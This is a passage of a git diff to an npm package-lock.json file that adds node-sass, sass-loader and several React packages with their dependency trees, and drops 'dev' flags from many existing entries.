"https://registry.npmjs.org/node-sass/-/node-sass-4.12.0.tgz", + "integrity": "sha512-A1Iv4oN+Iel6EPv77/HddXErL2a+gZ4uBeZUy+a8O35CFYTXhgA8MgLCWBtwpGZdCvTvQ9d+bQxX/QC36GDPpQ==", + "requires": { + "async-foreach": "^0.1.3", + "chalk": "^1.1.1", + "cross-spawn": "^3.0.0", + "gaze": "^1.0.0", + "get-stdin": "^4.0.1", + "glob": "^7.0.3", + "in-publish": "^2.0.0", + "lodash": "^4.17.11", + "meow": "^3.7.0", + "mkdirp": "^0.5.1", + "nan": "^2.13.2", + "node-gyp": "^3.8.0", + "npmlog": "^4.0.0", + "request": "^2.88.0", + "sass-graph": "^2.2.4", + "stdout-stream": "^1.4.0", + "true-case-path": "^1.0.2" + }, + "dependencies": { + "ajv": { + "version": "6.10.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.0.tgz", + "integrity": "sha512-nffhOpkymDECQyR0mnsUtoCE8RlX38G0rYP+wgLWFyZuUyuuojSSvi/+euOiQBIn63whYwYVIIH1TvE3tu4OEg==", + "requires": { + "fast-deep-equal": "^2.0.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "aws4": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.8.0.tgz", + "integrity": "sha512-ReZxvNHIOv88FlT7rxcXIIC0fPt4KZqZbOlivyWtXLt8ESx84zd3kMC6iK5jVeS2qt+g7ftS7ye4fi06X5rtRQ==" + }, + "cross-spawn": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-3.0.1.tgz", + "integrity": "sha1-ElYDfsufDF9549bvE14wdwGEuYI=", + "requires": { + "lru-cache": "^4.0.1", + "which": "^1.2.9" + } + }, + "extend": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==" + }, + "fast-deep-equal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz", + "integrity": "sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk=" + }, + "har-validator": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz", + "integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==", + "requires": { + "ajv": "^6.5.5", + "har-schema": "^2.0.0" + } + }, + "json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" + }, + "lodash": { + "version": "4.17.11", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.11.tgz", + "integrity": "sha512-cQKh8igo5QUhZ7lg38DYWAxMvjSAKG0A8wGSVimP07SIUEK2UO+arSRKbRZWtelMtN5V0Hkwh5ryOto/SshYIg==" + }, + "mime-db": { + "version": "1.40.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.40.0.tgz", + "integrity": "sha512-jYdeOMPy9vnxEqFRRo6ZvTZ8d9oPb+k18PKoYNYUe2stVEBPPwsln/qWzdbmaIvnhZ9v2P+CuecK+fpUfsV2mA==" + }, + "mime-types": { + "version": "2.1.24", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.24.tgz", + "integrity": "sha512-WaFHS3MCl5fapm3oLxU4eYDw77IQM2ACcxQ9RIxfaC3ooc6PFuBMGZZsYpvoXS5D5QTWPieo1jjLdAm3TBP3cQ==", + "requires": { + "mime-db": "1.40.0" + } + }, + "nan": { + "version": "2.14.0", + "resolved": "https://registry.npmjs.org/nan/-/nan-2.14.0.tgz", + "integrity": "sha512-INOFj37C7k3AfaNTtX8RhsTw7qRy7eLET14cROi9+5HAVbbHuIWUHEauBv5qT4Av2tWasiTY1Jw6puUNqRJXQg==" + }, + "oauth-sign": { + "version": "0.9.0", + "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz", + "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==" + }, + "psl": { + "version": "1.1.32", + "resolved": "https://registry.npmjs.org/psl/-/psl-1.1.32.tgz", + "integrity": "sha512-MHACAkHpihU/REGGPLj4sEfc/XKW2bheigvHO1dUqjaKigMp1C8+WLQYRGgeKFMsw5PMfegZcaN8IDXK/cD0+g==" + }, + "request": { + "version": "2.88.0", + "resolved": "https://registry.npmjs.org/request/-/request-2.88.0.tgz", + "integrity": "sha512-NAqBSrijGLZdM0WZNsInLJpkJokL72XYjUpnB0iwsRgxh7dB6COrHnTBNwN0E+lHDAJzu7kLAkDeY08z2/A0hg==", + "requires": { + "aws-sign2": "~0.7.0", + "aws4": "^1.8.0", + "caseless": "~0.12.0", + "combined-stream": "~1.0.6", + "extend": "~3.0.2", + "forever-agent": "~0.6.1", + "form-data": "~2.3.2", + "har-validator": "~5.1.0", + "http-signature": "~1.2.0", + "is-typedarray": "~1.0.0", + "isstream": "~0.1.2", + "json-stringify-safe": "~5.0.1", + "mime-types": "~2.1.19", + "oauth-sign": "~0.9.0", + "performance-now": "^2.1.0", + "qs": "~6.5.2", + "safe-buffer": "^5.1.2", + "tough-cookie": "~2.4.3", + "tunnel-agent": "^0.6.0", + "uuid": "^3.3.2" + } + }, + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "tough-cookie": { + "version": "2.4.3", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.4.3.tgz", + "integrity": "sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==", + "requires": { + "psl": "^1.1.24", + "punycode": "^1.4.1" + } + }, + "uuid": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.2.tgz", + "integrity": "sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA==" + } + } + }, "noms": { "version": "0.0.0", "resolved": "https://registry.npmjs.org/noms/-/noms-0.0.0.tgz", @@ -10030,7 +10693,6 @@ "version": "3.0.6", "resolved": "https://registry.npmjs.org/nopt/-/nopt-3.0.6.tgz", "integrity": "sha1-xkZdvwirzU2zWTF/eaxopkayj/k=", - "dev": true, "requires": { "abbrev": "1" } @@ -10039,7 +10701,6 @@ "version": "2.4.0", "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.4.0.tgz", "integrity": "sha1-EvlaMH1YNSB1oEkHuErIvpisAS8=", - "dev": true, "requires": { "hosted-git-info": "^2.1.4", "is-builtin-module": "^1.0.0", @@ -12766,6 +13427,17 @@ "path-key": "^2.0.0" } }, + "npmlog": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-4.1.2.tgz", + "integrity": "sha512-2uUqazuKlTaSI/dC8AzicUck7+IrEaOnN/e0jd3Xtt1KcGpwx30v50mL7oPyr/h9bL3E4aZccVwpwP+5W9Vjkg==", + "requires": { + "are-we-there-yet": "~1.1.2", + "console-control-strings": "~1.1.0", + "gauge": "~2.7.3", + "set-blocking": "~2.0.0" + } + }, "nth-check": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-1.0.1.tgz", @@ -12784,8 +13456,7 @@ "number-is-nan": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz", - "integrity": "sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0=", - "dev": true + "integrity": "sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0=" }, "oauth-sign": { "version": "0.8.2", @@ -12930,7 +13601,6 @@ "version": "1.4.0", "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", - "dev": true, "requires": { "wrappy": "1" } @@ -12944,12 +13614,6 @@ "mimic-fn": "^1.0.0" } }, - "open": { - "version": "0.0.5", - "resolved": "https://registry.npmjs.org/open/-/open-0.0.5.tgz", - "integrity": "sha1-QsPhjslUZra/DcQvOilFw/DK2Pw=", - "dev": true - }, "opn": { "version": "5.4.0", "resolved": "https://registry.npmjs.org/opn/-/opn-5.4.0.tgz", @@ -13015,8 +13679,7 @@ "os-homedir": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/os-homedir/-/os-homedir-1.0.2.tgz", - "integrity": "sha1-/7xJiDNuDoM94MFox+8VISGqf7M=", - "dev": true + "integrity": "sha1-/7xJiDNuDoM94MFox+8VISGqf7M=" }, "os-locale": { "version": "2.1.0", @@ -13032,8 +13695,16 @@ "os-tmpdir": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz", - "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=", - "dev": true + "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=" + }, + "osenv": { + "version": "0.1.5", + "resolved": "https://registry.npmjs.org/osenv/-/osenv-0.1.5.tgz", + "integrity": "sha512-0CWcCECdMVc2Rw3U5w9ZjqX6ga6ubk1xDVKxtBQPK7wis/0F2r9T6k4ydGYhecl7YUBxBVxhL5oisPsNxAPe2g==", + "requires": { + "os-homedir": "^1.0.0", + "os-tmpdir": "^1.0.0" + } }, "output-file-sync": { "version": "1.1.2", @@ -13188,7 +13859,6 @@ "version": "2.2.0", "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-2.2.0.tgz", "integrity": "sha1-9ID0BDTvgHQfhGkJn43qGPVaTck=", - "dev": true, "requires": { "error-ex": "^1.2.0" } @@ -13239,7 +13909,6 @@ "version": "2.1.0", "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-2.1.0.tgz", "integrity": "sha1-D+tsZPD8UY2adU3V77YscCJ2H0s=", - "dev": true, "requires": { "pinkie-promise": "^2.0.0" } @@ -13247,8 +13916,7 @@ "path-is-absolute": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", - "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=", - "dev": true + "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=" }, "path-is-inside": { "version": "1.0.2", @@ -13277,7 +13945,6 @@ "version": "1.1.0", "resolved": "https://registry.npmjs.org/path-type/-/path-type-1.1.0.tgz", "integrity": "sha1-WcRPfuSR2nBNpBXaWkBwuk+P5EE=", - "dev": true, "requires": { "graceful-fs": "^4.1.2", "pify": "^2.0.0", @@ -13312,8 +13979,7 @@ "performance-now": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", - "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=", - "dev": true + "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=" }, "phantomjs-prebuilt": { "version": "2.1.16", @@ -13335,20 +14001,17 @@ "pify": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", - "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw=", - "dev": true + "integrity": "sha1-7RQaasBDqEnqWISY59yosVMw6Qw=" }, "pinkie": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/pinkie/-/pinkie-2.0.4.tgz", - "integrity": "sha1-clVrgM+g1IqXToDnckjoDtT3+HA=", - "dev": true + "integrity": "sha1-clVrgM+g1IqXToDnckjoDtT3+HA=" }, "pinkie-promise": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/pinkie-promise/-/pinkie-promise-2.0.1.tgz", "integrity": "sha1-ITXW36ejWMBprJsXh3YogihFD/o=", - "dev": true, "requires": { "pinkie": "^2.0.0" } @@ -13601,8 +14264,7 @@ "pseudomap": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/pseudomap/-/pseudomap-1.0.2.tgz", - "integrity": "sha1-8FKijacOYYkX7wqKw0wa5aaChrM=", - "dev": true + "integrity": "sha1-8FKijacOYYkX7wqKw0wa5aaChrM=" }, "psl": { "version": "1.1.20", @@ -13655,8 +14317,7 @@ "punycode": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz", - "integrity": "sha1-wNWmOycYgArY4esPpSachN1BhF4=", - "dev": true + "integrity": "sha1-wNWmOycYgArY4esPpSachN1BhF4=" }, "pure-color": { "version": "1.3.0", @@ -13678,8 +14339,7 @@ "qs": { "version": "6.5.2", "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.2.tgz", - "integrity": "sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==", - "dev": true + "integrity": "sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==" }, "querystring": { "version": "0.2.0", @@ -13876,6 +14536,14 @@ "prop-types": "^15.5.10" } }, + "react-desktop-notification": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/react-desktop-notification/-/react-desktop-notification-1.0.9.tgz", + "integrity": "sha512-2nG+3V3n+dnIks4a+jXWYod8k6DgUt/ZDslce667QTimhbQy3+Z2OOYz4G4WjFMyDFrN6QxR28aphOCnA9x7hA==", + "requires": { + "create-react-class": "15.6.2" + } + }, "react-dimensions": { "version": "1.3.1", "resolved": "https://registry.npmjs.org/react-dimensions/-/react-dimensions-1.3.1.tgz", @@ -13895,6 +14563,15 @@ "scheduler": "^0.11.2" } }, + "react-event-timeline": { + "version": "1.6.3", + "resolved": "https://registry.npmjs.org/react-event-timeline/-/react-event-timeline-1.6.3.tgz", + "integrity": "sha512-hMGhC9/Xx3sPF/TSlMCA13hZm/2c5CvBxbkDM7bQ4yq6VJ6AmhjqKPnU6/3nVmWUGpK3YqhHb95OiqulxVD3Eg==", + "dev": true, + "requires": { + "prop-types": "^15.6.0" + } + }, "react-fa": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/react-fa/-/react-fa-5.0.0.tgz", @@ -14000,6 +14677,14 @@ "resolved": "https://registry.npmjs.org/react-lifecycles-compat/-/react-lifecycles-compat-3.0.4.tgz", "integrity": "sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA==" }, + "react-minimalist-portal": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/react-minimalist-portal/-/react-minimalist-portal-2.3.1.tgz", + "integrity": "sha1-SFPj9Ip0oywbh2dgGIfN95Qe66M=", + "requires": { + "prop-types": "^15.6.1" + } + }, "react-overlays": { "version": "0.8.3", "resolved": "https://registry.npmjs.org/react-overlays/-/react-overlays-0.8.3.tgz", @@ -14150,10 +14835,19 @@ "classnames": "^2.2.5" } }, + "react-tooltip-lite": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/react-tooltip-lite/-/react-tooltip-lite-1.9.1.tgz", + "integrity": "sha512-JH5T6kPZn7X90TnnNhuJ+wOb1eikT2xtpbOkndvqAHZlOyZOAZeAyVgk/3pGz0xi4h+bqXXisfwGtriliTYhDQ==", + "requires": { + "prop-types": "^15.5.8", + "react-minimalist-portal": "^2.2.0" + } + }, "react-transition-group": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/react-transition-group/-/react-transition-group-2.5.0.tgz", - "integrity": "sha512-qYB3JBF+9Y4sE4/Mg/9O6WFpdoYjeeYqx0AFb64PTazVy8RPMiE3A47CG9QmM4WJ/mzDiZYslV+Uly6O1Erlgw==", + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/react-transition-group/-/react-transition-group-2.8.0.tgz", + "integrity": "sha512-So23a1MPn8CGoW5WNU4l0tLiVkOFmeXSS1K4Roe+dxxqqHvI/2XBmj76jx+u96LHnQddWG7LX8QovPAainSmWQ==", "requires": { "dom-helpers": "^3.3.1", "loose-envify": "^1.4.0", @@ -14175,7 +14869,6 @@ "version": "1.1.0", "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-1.1.0.tgz", "integrity": "sha1-9f+qXs0pyzHAR0vKfXVra7KePyg=", - "dev": true, "requires": { "load-json-file": "^1.0.0", "normalize-package-data": "^2.3.2", @@ -14186,7 +14879,6 @@ "version": "1.0.1", "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-1.0.1.tgz", "integrity": "sha1-nWPBMnbAZZGNV/ACpX9AobZD+wI=", - "dev": true, "requires": { "find-up": "^1.0.0", "read-pkg": "^1.0.0" @@ -14285,7 +14977,6 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/redent/-/redent-1.0.0.tgz", "integrity": "sha1-z5Fqsf1fHxbfsggi3W7H9zDCr94=", - "dev": true, "requires": { "indent-string": "^2.1.0", "strip-indent": "^1.0.1" @@ -14442,7 +15133,6 @@ "version": "2.0.1", "resolved": "https://registry.npmjs.org/repeating/-/repeating-2.0.1.tgz", "integrity": "sha1-UhTFOpJtNVJwdSf7q0FdvAjQbdo=", - "dev": true, "requires": { "is-finite": "^1.0.0" } @@ -14512,14 +15202,12 @@ "require-directory": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", - "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I=", - "dev": true + "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I=" }, "require-main-filename": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-1.0.1.tgz", - "integrity": "sha1-l/cXtp1IeE9fUmpsWqj/3aBVpNE=", - "dev": true + "integrity": "sha1-l/cXtp1IeE9fUmpsWqj/3aBVpNE=" }, "require-uncached": { "version": "1.0.3", @@ -14615,7 +15303,6 @@ "version": "2.6.2", "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.2.tgz", "integrity": "sha512-lreewLK/BlghmxtfH36YYVg1i8IAce4TI7oao75I1g245+6BctqTVQiBP3YUJ9C6DQOXJmkYR9X9fCLtCOJc5w==", - "dev": true, "requires": { "glob": "^7.0.5" } @@ -14648,6 +15335,11 @@ "aproba": "^1.1.1" } }, + "rw": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/rw/-/rw-1.3.3.tgz", + "integrity": "sha1-P4Yt+pGrdmsUiF700BEkv9oHT7Q=" + }, "rxjs": { "version": "6.3.3", "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.3.3.tgz", @@ -14660,8 +15352,7 @@ "safe-buffer": { "version": "5.1.1", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.1.tgz", - "integrity": "sha1-iTMSr2myEj3vcfV4iQAWce6yyFM=", - "dev": true + "integrity": "sha1-iTMSr2myEj3vcfV4iQAWce6yyFM=" }, "safe-regex": { "version": "1.1.0", @@ -14678,6 +15369,141 @@ "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", "dev": true }, + "sass-graph": { + "version": "2.2.4", + "resolved": "https://registry.npmjs.org/sass-graph/-/sass-graph-2.2.4.tgz", + "integrity": "sha1-E/vWPNHK8JCLn9k0dq1DpR0eC0k=", + "requires": { + "glob": "^7.0.0", + "lodash": "^4.0.0", + "scss-tokenizer": "^0.2.3", + "yargs": "^7.0.0" + }, + "dependencies": { + "camelcase": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-3.0.0.tgz", + "integrity": "sha1-MvxLn82vhF/N9+c7uXysImHwqwo=" + }, + "cliui": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-3.2.0.tgz", + "integrity": "sha1-EgYBU3qRbSmUD5NNo7SNWFo5IT0=", + "requires": { + "string-width": "^1.0.1", + "strip-ansi": "^3.0.1", + "wrap-ansi": "^2.0.0" + } + }, + "is-fullwidth-code-point": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz", + "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=", + "requires": { + "number-is-nan": "^1.0.0" + } + }, + "os-locale": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-1.4.0.tgz", + "integrity": "sha1-IPnxeuKe00XoveWDsT0gCYA8FNk=", + "requires": { + "lcid": "^1.0.0" + } + }, + "string-width": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", + "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", + "requires": { + "code-point-at": "^1.0.0", + "is-fullwidth-code-point": "^1.0.0", + "strip-ansi": "^3.0.0" + } + }, + "which-module": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/which-module/-/which-module-1.0.0.tgz", + "integrity": "sha1-u6Y8qGGUiZT/MHc2CJ47lgJsKk8=" + }, + "yargs": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-7.1.0.tgz", + "integrity": "sha1-a6MY6xaWFyf10oT46gA+jWFU0Mg=", + "requires": { + "camelcase": "^3.0.0", + "cliui": "^3.2.0", + "decamelize": "^1.1.1", + "get-caller-file": "^1.0.1", + "os-locale": "^1.4.0", + "read-pkg-up": "^1.0.1", + "require-directory": "^2.1.1", + "require-main-filename": "^1.0.1", + "set-blocking": "^2.0.0", + "string-width": "^1.0.2", + "which-module": "^1.0.0", + "y18n": "^3.2.1", + "yargs-parser": "^5.0.0" + } + }, + "yargs-parser": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-5.0.0.tgz", + "integrity": "sha1-J17PDX/+Bcd+ZOfIbkzZS/DhIoo=", + "requires": { + "camelcase": "^3.0.0" + } + } + } + }, + "sass-loader": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-7.1.0.tgz", + "integrity": "sha512-+G+BKGglmZM2GUSfT9TLuEp6tzehHPjAMoRRItOojWIqIGPloVCMhNIQuG639eJ+y033PaGTSjLaTHts8Kw79w==", + "requires": { + "clone-deep": "^2.0.1", + "loader-utils": "^1.0.1", + "lodash.tail": "^4.1.1", + "neo-async": "^2.5.0", + "pify": "^3.0.0", + "semver": "^5.5.0" + }, + "dependencies": { + "big.js": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz", + "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==" + }, + "json5": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz", + "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==", + "requires": { + "minimist": "^1.2.0" + } + }, + "loader-utils": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.2.3.tgz", + "integrity": "sha512-fkpz8ejdnEMG3s37wGL07iSBDg99O9D5yflE9RGNH3hRdx9SOwYfnGYdZOUIZitN8E+E2vkq3MUMYMvPYl5ZZA==", + "requires": { + "big.js": "^5.2.2", + "emojis-list": "^2.0.0", + "json5": "^1.0.1" + } + }, + "pify": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", + "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=" + }, + "semver": { + "version": "5.7.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.0.tgz", + "integrity": "sha512-Ya52jSX2u7QKghxeoFGpLwCtGlt7j0oY9DYb5apt9nPlJ42ID+ulTXESnt/qAQcoSERyZ5sl3LDIOw0nAn/5DA==" + } + } + }, "scheduler": { "version": "0.11.2", "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.11.2.tgz", @@ -14697,6 +15523,25 @@ "ajv-keywords": "^3.1.0" } }, + "scss-tokenizer": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/scss-tokenizer/-/scss-tokenizer-0.2.3.tgz", + "integrity": "sha1-jrBtualyMzOCTT9VMGQRSYR85dE=", + "requires": { + "js-base64": "^2.1.8", + "source-map": "^0.4.2" + }, + "dependencies": { + "source-map": { + "version": "0.4.4", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.4.4.tgz", + "integrity": "sha1-66T12pwNyZneaAMti092FzZSA2s=", + "requires": { + "amdefine": ">=0.0.4" + } + } + } + }, "select-hose": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/select-hose/-/select-hose-2.0.0.tgz", @@ -14715,8 +15560,7 @@ "semver": { "version": "4.3.6", "resolved": "https://registry.npmjs.org/semver/-/semver-4.3.6.tgz", - "integrity": "sha1-MAvG4OhjdPe6YQaLWx7NV/xlMto=", - "dev": true + "integrity": "sha1-MAvG4OhjdPe6YQaLWx7NV/xlMto=" }, "send": { "version": "0.16.2", @@ -14824,8 +15668,7 @@ "set-blocking": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", - "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc=", - "dev": true + "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc=" }, "set-immediate-shim": { "version": "1.0.1", @@ -14896,6 +15739,23 @@ } } }, + "shallow-clone": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-1.0.0.tgz", + "integrity": "sha512-oeXreoKR/SyNJtRJMAKPDSvd28OqEwG4eR/xc856cRGBII7gX9lvAqDxusPm0846z/w/hWYjI1NpKwJ00NHzRA==", + "requires": { + "is-extendable": "^0.1.1", + "kind-of": "^5.0.0", + "mixin-object": "^2.0.1" + }, + "dependencies": { + "kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==" + } + } + }, "shallowequal": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/shallowequal/-/shallowequal-1.1.0.tgz", @@ -14920,8 +15780,7 @@ "signal-exit": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.2.tgz", - "integrity": "sha1-tf3AjxKH6hF4Yo5BXiUTK3NkbG0=", - "dev": true + "integrity": "sha1-tf3AjxKH6hF4Yo5BXiUTK3NkbG0=" }, "slash": { "version": "1.0.0", @@ -15226,7 +16085,6 @@ "version": "3.0.0", "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.0.0.tgz", "integrity": "sha512-N19o9z5cEyc8yQQPukRCZ9EUmb4HUpnrmaL/fxS2pBo2jbfcFRVuFZ/oFC+vZz0MNNk0h80iMn5/S6qGZOL5+g==", - "dev": true, "requires": { "spdx-expression-parse": "^3.0.0", "spdx-license-ids": "^3.0.0" @@ -15235,14 +16093,12 @@ "spdx-exceptions": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.1.0.tgz", - "integrity": "sha512-4K1NsmrlCU1JJgUrtgEeTVyfx8VaYea9J9LvARxhbHtVtohPs/gFGG5yy49beySjlIMhhXZ4QqujIZEfS4l6Cg==", - "dev": true + "integrity": "sha512-4K1NsmrlCU1JJgUrtgEeTVyfx8VaYea9J9LvARxhbHtVtohPs/gFGG5yy49beySjlIMhhXZ4QqujIZEfS4l6Cg==" }, "spdx-expression-parse": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.0.tgz", "integrity": "sha512-Yg6D3XpRD4kkOmTpdgbUiEJFKghJH03fiC1OPll5h/0sO6neh2jqRDVHOQ4o/LMea0tgCkbMgea5ip/e+MkWyg==", - "dev": true, "requires": { "spdx-exceptions": "^2.1.0", "spdx-license-ids": "^3.0.0" @@ -15251,8 +16107,7 @@ "spdx-license-ids": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.0.tgz", - "integrity": "sha512-2+EPwgbnmOIl8HjGBXXMd9NAu02vLjOO1nWw4kmeRDFyHn+M/ETfHxQUK0oXg8ctgVnl9t3rosNVsZ1jG61nDA==", - "dev": true + "integrity": 